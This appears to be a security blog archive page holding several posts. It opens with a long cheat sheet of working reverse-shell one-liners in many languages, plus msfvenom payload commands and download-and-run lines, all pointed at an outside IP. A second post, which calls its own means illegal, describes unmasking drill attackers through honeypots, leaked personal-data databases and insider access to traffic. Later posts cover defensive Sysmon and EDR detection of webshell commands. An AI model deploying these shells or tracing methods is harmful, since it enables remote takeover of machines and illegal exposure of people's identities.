2022年8月31日星期三

Various basic poses of the rebound shell

 

Bash TCP:

Victim:

bash -i >& /dev/tcp/175.11.142.54/443 0>&1

/bin/bash -i > /dev/tcp/175.11.142.54/443 0<& 2>&1

exec 5<>/dev/tcp/175.11.142.54/443;cat <&5 | while read line; do $line 2>&5 >&5; done

exec /bin/sh 0</dev/tcp/175.11.142.54/443 1>&0 2>&0

0<&196;exec 196<>/dev/tcp/175.11.142.54/443; sh <&196 >&196 2>&196

Bash UDP:

Victim:

sh -i >& /dev/udp/175.11.142.54/443 0>&1


Listener:

nc -u -lvp 443

Netcat:

nc -e /bin/sh 175.11.142.54 443

nc -e /bin/bash 175.11.142.54 443

nc -c bash 175.11.142.54 443

mknod backpipe p && nc 175.11.142.54 443 0<backpipe | /bin/bash 1>backpipe 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 175.11.142.54 443 >/tmp/f

rm -f /tmp/p; mknod /tmp/p p && nc 175.11.142.54 443 0/tmp/p 2>&1

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 175.11.142.54 443 > f

rm -f x; mknod x p && nc 175.11.142.54 443 0<x | /bin/bash 1>x

Ncat:

ncat 175.11.142.54 443 -e /bin/bash

ncat --udp 175.11.142.54 443 -e /bin/bash

Telnet:

rm -f /tmp/p; mknod /tmp/p p && telnet 175.11.142.54 443 0/tmp/p 2>&1

telnet 175.11.142.54 443 | /bin/bash | telnet 175.11.142.54 444

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 175.11.142.54 443 > f

rm -f x; mknod x p && telnet 175.11.142.54 443 0<x | /bin/bash 1>x

Socat:

Victim:

/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:175.11.142.54:443

socat tcp-connect:175.11.142.54:443 exec:"bash -li",pty,stderr,setsid,sigint,sane


Listener:

socat file:`tty`,raw,echo=0 TCP-L:443


Victim:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:175.11.142.54:443

Perl:

Victim:

perl -e 'use Socket;$i="175.11.142.54";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"175.11.142.54:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


Windows only, Victim:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"175.11.142.54:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python:

IP v4

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("175.11.142.54",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

export RHOST="175.11.142.54";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("175.11.142.54",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

 IP v6

python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",443,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

 Windows only:

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('175.11.142.54', 443)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

PHP:

php -r '$sock=fsockopen("175.11.142.54",443);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$s=fsockopen("175.11.142.54",443);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'

php -r '$s=fsockopen("175.11.142.54",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$s=fsockopen("175.11.142.54",443);`/bin/sh -i <&3 >&3 2>&3`;'

php -r '$s=fsockopen("175.11.142.54",443);system("/bin/sh -i <&3 >&3 2>&3");'

php -r '$s=fsockopen("175.11.142.54",443);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

php -r '$s=\'127.0.0.1\';$p=443;@error_reporting(0);@ini_set("error_log",NULL);@ini_set("log_errors",0);@set_time_limit(0);umask(0);if($s=fsockopen($s,$p,$n,$n)){if($x=proc_open(\'/bin/sh$IFS-i\',array(array(\'pipe\',\'r\'),array(\'pipe\',\'w\'),array(\'pipe\',\'w\')),$p,getcwd())){stream_set_blocking($p[0],0);stream_set_blocking($p[1],0);stream_set_blocking($p[2],0);stream_set_blocking($s,0);while(true){if(feof($s))die(\'connection/closed\');if(feof($p[1]))die(\'shell/not/response\');$r=array($s,$p[1],$p[2]);stream_select($r,$n,$n,null);if(in_array($s,$r))fwrite($p[0],fread($s,1024));if(in_array($p[1],$r))fwrite($s,fread($p[1],1024));if(in_array($p[2],$r))fwrite($s,fread($p[2],1024));}fclose($p[0]);fclose($p[1]);fclose($p[2]);proc_close($x);}else{die("proc_open/disabled");}}else{die("not/connect");}'

Ruby:

ruby -rsocket -e'f=TCPSocket.open("175.11.142.54",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("175.11.142.54","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'


NOTE: Windows only

ruby -rsocket -e 'c=TCPSocket.new("175.11.142.54","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

OpenSSL:

Attacker:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl s_server -quiet -key key.pem -cert cert.pem -port 443

 or

ncat --ssl -vv -l -p 443

 Victim:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 175.11.142.54:443 > /tmp/s; rm /tmp/s

Powershell:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("175.11.142.54",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('175.11.142.54',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

Awk:

awk 'BEGIN {s = "/inet/tcp/0/175.11.142.54/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

TCLsh

echo 'set s [socket 175.11.142.54 443];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

Java:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/175.11.142.54/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Thread thread = new Thread(){
    public void run(){
        // Reverse shell here
    }
}
thread.start();

War:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=175.11.142.54 LPORT=443 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file

Lua:

Linux only

lua -e "require('socket');require('os');t=socket.tcp();t:connect('175.11.142.54','443');os.execute('/bin/sh -i <&3 >&3 2>&3');"


Windows and Linux

lua5.1 -e 'local host, port = "175.11.142.54", 443 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "175.11.142.54", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

require('child_process').exec('nc -e /bin/sh 175.11.142.54 443')

-var x = global.process.mainModule.require
-x('child_process').exec('nc 175.11.142.54 443 -e /bin/bash')

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

Groovy:

String host="175.11.142.54";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Meterpreter Shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=175.11.142.54 LPORT=443 -f exe > reverse.exe

msfvenom -p windows/shell_reverse_tcp LHOST=175.11.142.54 LPORT=443 -f exe > reverse.exe

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=175.11.142.54 LPORT=443 -f elf >reverse.elf

msfvenom -p linux/x86/shell_reverse_tcp LHOST=175.11.142.54 LPORT=443 -f elf >reverse.elf

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="175.11.142.54" LPORT=443 -f elf > shell.elf

msfvenom -p windows/meterpreter/reverse_tcp LHOST="175.11.142.54" LPORT=443 -f exe > shell.exe

msfvenom -p osx/x86/shell_reverse_tcp LHOST="175.11.142.54" LPORT=443 -f macho > shell.macho

msfvenom -p windows/meterpreter/reverse_tcp LHOST="175.11.142.54" LPORT=443 -f asp > shell.asp

msfvenom -p java/jsp_shell_reverse_tcp LHOST="175.11.142.54" LPORT=443 -f raw > shell.jsp

msfvenom -p java/jsp_shell_reverse_tcp LHOST="175.11.142.54" LPORT=443 -f war > shell.war

msfvenom -p cmd/unix/reverse_python LHOST="175.11.142.54" LPORT=443 -f raw > shell.py

msfvenom -p cmd/unix/reverse_bash LHOST="175.11.142.54" LPORT=443 -f raw > shell.sh

msfvenom -p cmd/unix/reverse_perl LHOST="175.11.142.54" LPORT=443 -f raw > shell.pl

Xterm:

xterm -display 175.11.142.54:1
Xnest :1
xhost +targetip

2022年8月30日星期二

Methods of tracing the source of the red team in offensive and defensive drills

 Last month, due to strange reasons, I participated in four consecutive cybersecurity offensive and defensive drills, including the Ministry of Public Security, the Municipal Government and the Ministry of Industry and Information Technology.

Among the four offensive and defensive drills, although we also participated in the two offensive and defensive drills initiated by the municipal government, since the time overlapped with the other two, we could actually ignore them.


In the actual attack, how do we find the attacker?

If you use conventional methods to trace a network hacker,that will be very difficult。

Because the attackers are all using new computers and new IPs issued by the organizers, it is basically impossible to know the identity of the attackers through normal channels.

Through actual traceability and information exchange with friends, I have roughly summarized the following traceability methods.


1、

First of all, we need a lot of honeypots with jsonp technology deployed, to imitate the honeypot as real business as possible, so that the attacker can spend as much time as possible in the honeypot.

Here we use a company's commercial honeypot.


A careless attacker will log in to social networking sites on the computer, such as QQ, Baidu Tieba, etc. Here, we can use jsonp to get the attacker's mobile phone number (the middle four are blocked by the operator) and the attacker's social account.

Once we get the attacker's social networking site id, we can go to the social networking site to find his speech record. If it goes well, we can find his mobile phone number through the speech record, and then use the social engineering database to find his personal information (educational information, family information), and then use the workplace communication software to search for the mobile phone number to obtain the attacker's current occupation information.


2、

If the attacker did not leave information in our honeypot, but we want to find this person.

At this time, it is necessary to use some illegal means (of course, the means of using the social engineering library above are also illegal). For example, the attacker uses the ip of Alibaba Cloud to attack, and you are an employee of Alibaba Cloud or you know Alibaba Cloud. The person with the relevant operation authority.

At this time, you can obtain the attacker's information by some means, and then go to the social engineering library to find more information about the attacker, and end.


3、

If the attacker uses a proxy host of a cloud service provider that is not in mainland China to attack.

At this time, you need a higher authority to check the traffic. For example, the ip x.x.x.x attacked me, and this ip belongs to a foreign country. At this time, I need a privileged account that can search the traffic of the national backbone network, or an account with such Friends with authority, find out which domestic IP has recently accessed this foreign IP, and then you can find the domestic IP of this person. After finding it, use step 2 to find the true identity of the attacker.


This is the method of tracing the source of some hackers that may be used in offensive and defensive drills.







2022年8月21日星期日

抓住whoami

背景:公司已有青藤edr,但是在实际使用中,很多webshell能过它的检测,因为有时webshell上传到服务器执行命令了青藤云都不告警,这是不能接受的,因为我们需要加入对webshell的命令执行的检测。

 

当我在测试sysmon的时候,我发现,在不同的地方执行web命令的时候,日志中的详细信息是由很大的不同的。


1、windows

在windows上的cmd上执行一个whoami命令的时候,我在sysmon上抓到的日志记录是这样的:

Aug 11 13:42:07 TEST-SAFE-AP01 MSWinEventLog   1   Microsoft-Windows-Sysmon/Operational   409   Thu Aug 11 13:42:07 2022   1   Microsoft-Windows-Sysmon   SYSTEM   User   Information   TEST-SAFE-AP01   Process Create (rule: ProcessCreate)      Process Create:  RuleName: -  UtcTime: 2022-08-11 05:42:07.672  ProcessGuid: {9789903a-96af-62f4-da37-030000001900}  ProcessId: 8324  Image: C:\Windows\System32\whoami.exe  FileVersion: 10.0.17763.1 (WinBuild.160101.0800)  Description: whoami - displays logged on user information  Product: Microsoft? Windows? Operating System  Company: Microsoft Corporation  OriginalFileName: whoami.exe  CommandLine: whoami  CurrentDirectory: C:\Users\Administrator\  User: TEST-SAFE-AP01\osadmin  LogonGuid: {9789903a-20e1-62d0-304b-0c0000000000}  LogonId: 0xC4B30  TerminalSessionId: 2  IntegrityLevel: High  Hashes: MD5=43C2D3293AD939241DF61B3630A9D3B6,SHA256=1D5491E3C468EE4B4EF6EDFF4BBC7D06EE83180F6F0B1576763EA2EFE049493A,IMPHASH=7FF0758B766F747CE57DFAC70743FB88  ParentProcessGuid: {9789903a-6a65-62f4-4c34-030000001900}  ParentProcessId: 1548  ParentImage: C:\Windows\System32\cmd.exe  ParentCommandLine: "C:\Windows\system32\cmd.exe"   ParentUser: TEST-SAFE-AP01\osadmin   447


当我在webshell上执行whoami命令的时候,记录是这样的(php和java环境):

Aug 11 10:43:38 TEST-SAFE-AP01 MSWinEventLog   1   Microsoft-Windows-Sysmon/Operational   80   Thu Aug 11 10:43:38 2022   1   Microsoft-Windows-Sysmon   SYSTEM   User   Information   TEST-SAFE-AP01   Process Create (rule: ProcessCreate)      Process Create:  RuleName: -  UtcTime: 2022-08-11 02:43:38.994  ProcessGuid: {9789903a-6cda-62f4-e334-030000001900}  ProcessId: 7424  Image: C:\Windows\System32\whoami.exe  FileVersion: 10.0.17763.1 (WinBuild.160101.0800)  Description: whoami - displays logged on user information  Product: Microsoft? Windows? Operating System  Company: Microsoft Corporation  OriginalFileName: whoami.exe  CommandLine: whoami  CurrentDirectory: D:\JspStudy\WWW\jsp\  User: TEST-SAFE-AP01\osadmin  LogonGuid: {9789903a-20e1-62d0-304b-0c0000000000}  LogonId: 0xC4B30  TerminalSessionId: 2  IntegrityLevel: High  Hashes: MD5=43C2D3293AD939241DF61B3630A9D3B6,SHA256=1D5491E3C468EE4B4EF6EDFF4BBC7D06EE83180F6F0B1576763EA2EFE049493A,IMPHASH=7FF0758B766F747CE57DFAC70743FB88  ParentProcessGuid: {9789903a-6cda-62f4-e134-030000001900}  ParentProcessId: 9924  ParentImage: C:\Windows\System32\cmd.exe  ParentCommandLine: cmd.exe /c "whoami"  ParentUser: TEST-SAFE-AP01\osadmin   118


Aug 11 14:37:26 TEST-SAFE-AP01 MSWinEventLog   1   Microsoft-Windows-Sysmon/Operational   539   Thu Aug 11 14:37:26 2022   1   Microsoft-Windows-Sysmon   SYSTEM   User   Information   TEST-SAFE-AP01   Process Create (rule: ProcessCreate)      Process Create:  RuleName: -  UtcTime: 2022-08-11 06:37:26.429  ProcessGuid: {9789903a-a3a6-62f4-f338-030000001900}  ProcessId: 10032  Image: C:\Windows\SysWOW64\whoami.exe  FileVersion: 10.0.17763.1 (WinBuild.160101.0800)  Description: whoami - displays logged on user information  Product: Microsoft? Windows? Operating System  Company: Microsoft Corporation  OriginalFileName: whoami.exe  CommandLine: whoami  CurrentDirectory: D:\JspStudy\tomcat\bin\  User: TEST-SAFE-AP01\osadmin  LogonGuid: {9789903a-20e1-62d0-304b-0c0000000000}  LogonId: 0xC4B30  TerminalSessionId: 2  IntegrityLevel: High  Hashes: MD5=B17EB327F33729DB69E97F0A09839EE7,SHA256=075FA41E449213910F6D45F5713FEF8ED71EA913C1EBE594407894141F103D64,IMPHASH=E91037BB26500603D5EE8666BA6C2510  ParentProcessGuid: {9789903a-a3a6-62f4-f238-030000001900}  ParentProcessId: 7620  ParentImage: C:\Windows\SysWOW64\cmd.exe  ParentCommandLine: cmd /c whoami  ParentUser: TEST-SAFE-AP01\osadmin   577


上面标红的部分就是具体的区别,经过多次的测试,发现在webshell上执行whoami的时候,一定会带上 /c 这个参数。

经查询,cmd /c xx 是执行完xx命令后关闭命令窗口。

那就应该是在webshell中,由于非gui界面,所以默认带入了/c这个参数,那么很明显,我们可以根据这些不同来判断是否有人在webshell执行whoami命令。

只要有 /c whoami ,我们就认为是有人利用webshell在执行whoami命令。


此处我们利用公司已有的青藤云edr,微调一下写入新的检测规则。

具体的规则: 

进程名包含:cmd.exe

进程命令行:cmd(\.exe){0,1}\s{0,1}\/c\s{0,1}(\"){0,1}whoami.*


2、linux


linux上还是一样安装个sysmon,安装教程:

https://github.com/Sysinternals/SysmonForLinux/blob/main/INSTALL.md


规则参考这篇文章:

https://in.security/2021/10/18/getting-started-with-sysmon-for-linux/

或者:github搜索 sysmon-linux-sample-config.xml 也是一样的

实际测试的时候我们只需要检测 ProcessCreate 行为即可。

利用以下命令:

sudo sudo tail -f /var/log/syslog | sudo /opt/sysmon/sysmonLogView -e 1


在terminal执行命令whoami的时候:

terminal执行whoami:


Event SYSMONEVENT_CREATE_PROCESS
RuleName: -
UtcTime: 2022-08-12 07:32:28.210
ProcessGuid: {350c6fd8-020c-62f6-c066-4fdf85550000}
ProcessId: 13058
Image: /usr/bin/whoami
FileVersion: -
Description: -
Product: -
Company: -
OriginalFileName: -
CommandLine: whoami
CurrentDirectory: /home/masker
User: masker
LogonGuid: {350c6fd8-0000-0000-e803-000000000000}
LogonId: 1000
TerminalSessionId: 3
IntegrityLevel: no level
Hashes: -
ParentProcessGuid: {350c6fd8-fd02-62f5-48c4-ce3c92550000}
ParentProcessId: 12911
ParentImage: /bin/bash
ParentCommandLine: bash
ParentUser: masker

在webshell执行whoami:


Event SYSMONEVENT_CREATE_PROCESS
RuleName: -
UtcTime: 2022-08-12 07:30:56.866
ProcessGuid: {350c6fd8-01b0-62f6-6882-372083550000}
ProcessId: 13056
Image: /bin/dash
FileVersion: -
Description: -
Product: -
Company: -
OriginalFileName: -
CommandLine: sh -c whoami
CurrentDirectory: /home/wwwroot/default
User: www
LogonGuid: {350c6fd8-0000-0000-e903-000000000000}
LogonId: 1001
TerminalSessionId: 3
IntegrityLevel: no level
Hashes: -
ParentProcessGuid: {00000000-0000-0000-0000-000000000000}
ParentProcessId: 12310
ParentImage: -
ParentCommandLine: -
ParentUser: -


很明显,linux上在terminal和webshell的命令执行区别是由一个 -c,-c在linux中表示后面接的命令都视为一个整体,与双引号效果类似。

经过微调,写入青藤edr的最终检测规则如下:
进程名包含:java,php
进程命令行:^((?!su).)*((?!hdfs).)*\s{0,1}\-c\s{0,1}whoami.*

本来在考虑是否有必要加入更多命令的检测,但是暂时先搁置吧。

2022年8月10日星期三

sysmon规则编写简介

sysmon规则编写简介


  • 安装

     下载地址 :  https://download.sysinternals.com/files/Sysmon.zip
    
    • 1
     Install:    Sysmon.exe -i <configfile> # 指定配置文件安装
                 sysmon -accepteula  –i -n # 一键安装(使用sha1进行散列的过程映像,无网络监控)
                 sysmon -accepteula -i -h md5,sha256 -n # 使用md5和sha256进行安装创建进程并监视网络连接
                 sysmon -accepteula -i c\windows\config.xml # 使用配置文件安装Sysmon
    
                 
    
    [-h <[sha1|md5|sha256|imphash|*],...>] [-n [<process,...>]]
    [-l (<process,...>)]
    
    Configure:  Sysmon.exe -c <configfile> # 从文件读取修改配置信息 
                sysmon –c -- # 修改配置信息为默认配置
                sysmon -c # 转储配置文件
                  [--|[-h <[sha1|md5|sha256|imphash|*],...>] [-n [<process,...>]]
                   [-l [<process,...>]]]
    
    Uninstall:  Sysmon.exe -u # 卸载 
     # 注 : 安装需要管理员权限 操作系统 windows 7+ 上日志会写入到  Logs/Microsoft/Windows/Sysmon/Operational 低版本windows 会写入到 system日志 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

  • 参数说明
         -d # 指定已安装设备驱动程序映像的名称。
    
         -c  # 更新或显示配置 如果没有提供其他参数,则为当前配置。可选获取配置文件。
    
         -h  # 指定hash记录的算法
    
         -i  # 安装,可用xml文件来更新配置文件
    
         -l  # 记录加载模块,可指定进程
    
         -m  # 安装事件清单
    
         -n  # 记录网络链接
    
         -r  # 检测证书是否撤销
    
         -u  # 卸载服务和驱动
         
         -s  # 打印配置架构 
    
         -? config # 查看配置文件写法 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

  • 配置文件说明

    • 官方给出的配置文件例子:
      <Sysmon schemaversion="4.21">
      <!-- Capture all hashes -->
      <HashAlgorithms>*</HashAlgorithms> <!--哈希配置(默认使用sha1) -->
      <EventFiltering> <!--事件筛选-->
      <!-- Log all drivers except if the signature -->
      <!-- contains Microsoft or Windows -->
      <DriverLoad onmatch="exclude"> <!--默认记录所有日志 除非标记 ? -->
           <Signature condition="contains">microsoft</Signature>
           <Signature condition="contains">windows</Signature>
      </DriverLoad>
      <!-- Do not log process termination -->
      <!--不记录进程终止-->
      <ProcessTerminate onmatch="include" />
      <!-- Log network connection if the destination port equal 443 -->
      <!-- or 80, and process isn't InternetExplorer -->
      <NetworkConnect onmatch="include">
           <DestinationPort>443</DestinationPort> <!-- 记录443 端口连接记录-->
           <DestinationPort>80</DestinationPort>
      </NetworkConnect>
      <NetworkConnect onmatch="exclude">
           <Image condition="end with">iexplore.exe</Image>
      </NetworkConnect>
      </EventFiltering>
      </Sysmon>
       -- 配置条目直接位于Sysmon 标签下, 过滤器位于 EventFiltering 标签下 
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
      • 19
      • 20
      • 21
      • 22
      • 23
      • 24
      • 25
    • 过滤器标签
       ProcessCreate            进程创建
       FileCreateTime           文件创建时间更改
       NetworkConnect           检测到网络连接
       ProcessTerminate         进程终止
       DriverLoad               驱动程序已加载
       ImageLoad                镜像加载
       CreateRemoteThread       已检测到创建远程线程
       RawAccessRead            检测到原始访问读取
       ProcessAccess            已访问的进程
       FileCreate               文件创建
       RegistryEvent            添加或删除注册表对象
       RegistryEvent            注册表值设置
       RegistryEvent            注册表对象已重命名
       FileCreateStreamHash     已创建文件流
       PipeEvent                管道创建
       PipeEvent                管道已连接
       WmiEvent                 检测到WmiEventFilter活动 -- WmiEventFilter activity detected
       WmiEvent                 检测到WmiEventConsumer活动 -- WmiEventConsumer activity detected
       WmiEvent                 检测到WmiEventConsumerToFilter活动 -- WmiEventConsumerToFilter activity 
       DnsQuery                 DNS查询
      
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
      • 19
      • 20
      • 21
    • 标签使用说明:
      使用onmacth标记配置文件中 过滤器规则 include exclude
      include:
           仅包含include的规则配置 
      exclude: 
           除去该规则配置, 其他全包含 
      PS: 
           例如,此规则将丢弃进程创建中 IntegrityLevel 为中等的任何流程事件
            <ProcessCreate onmatch="exclude">
                <IntegrityLevel>Medium</IntegrityLevel>
           </ProcessCreate>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10

    • 过滤器标签的字段可以使用其他条件匹配该值
    --------------------------------------
    注: 不区分大小写
    --------------------------------------
    字段如下:
         is             默认值, 等于
         is not         不等于 
         contains       包含
         excludes       不包含
         begin with     以此字段开始
         end with       以此字段结束
         less than      小于
         more than      大于 
         image          匹配镜像路径(完整路径或仅镜像名称) 
         例如:lsass.exe将匹配c:\windows\system32\lsass.exe
         
    -----------------------------------------
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    • 规则组:
      <EventFiltering>
           <RuleGroup name="group 1" groupRelation="and"> <!--规则组1 组关系and -->
                <ProcessCreate onmatch="include"> <!--进程创建-->
                <Image condition="contains">timeout.exe</Image> <!--进程名为 timeout.exe 且 命令行参数为100 才会生成日志文件-->
                <CommandLine condition="contains">100</CommandLine>
                </ProcessCreate>
           </RuleGroup>
           <RuleGroup groupRelation="or"><!-- 组关系or -->
                <ProcessTerminate onmatch="include"><!--进程退出-->
                <Image condition="contains">timeout.exe</Image> <!--进程为timeout.exe 或者 进程为ping.exe 结束时产生事件-->
                <Image condition="contains">ping.exe</Image>
                </ProcessTerminate>
           </RuleGroup>
           <ImageLoad onmatch="include"/>
      </EventFiltering>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      要让sysmon报告哪个规则匹配导致记录事件,请向规则添加名称:
      <NetworkConnect onmatch="exclude">
           <!---->
           <Image name="network iexplore" condition="contains">iexplore.exe</Image>
